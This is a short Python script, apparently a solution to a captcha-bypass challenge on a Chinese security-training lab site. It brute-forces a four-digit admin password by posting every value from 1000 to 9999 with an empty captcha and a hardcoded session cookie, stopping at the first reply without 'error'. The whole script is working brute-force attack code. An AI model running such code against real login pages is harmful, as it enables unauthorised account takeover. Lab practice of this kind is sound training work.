import re
import sys
import requests

print ('\n网络信息安全攻防学习平台脚本关第4题\n')
s = requests.Session()
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
##url必须是登陆后是页面
for pwd in range(1000,10000):
    payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
##    验证码可以是空和字符
    header = {'Cookie':'saeut=223.67.109.164.1446038304106647; PHPSESSID=89e8c6bbd64d2e3154cc6b8118191542'}
    r = s.post(url,data = payload,headers = header)
    r.encoding = 'utf-8'
    if 'error' not in r.text:
        print ('\n爷，正确密码为：',pwd)
        print ('n' + r.text)
        break
    else:
##        print ('n' + r.text)
        print('正在尝试密码：%d'% pwd,end = '')
        sys.stdout.write("\r") 
        


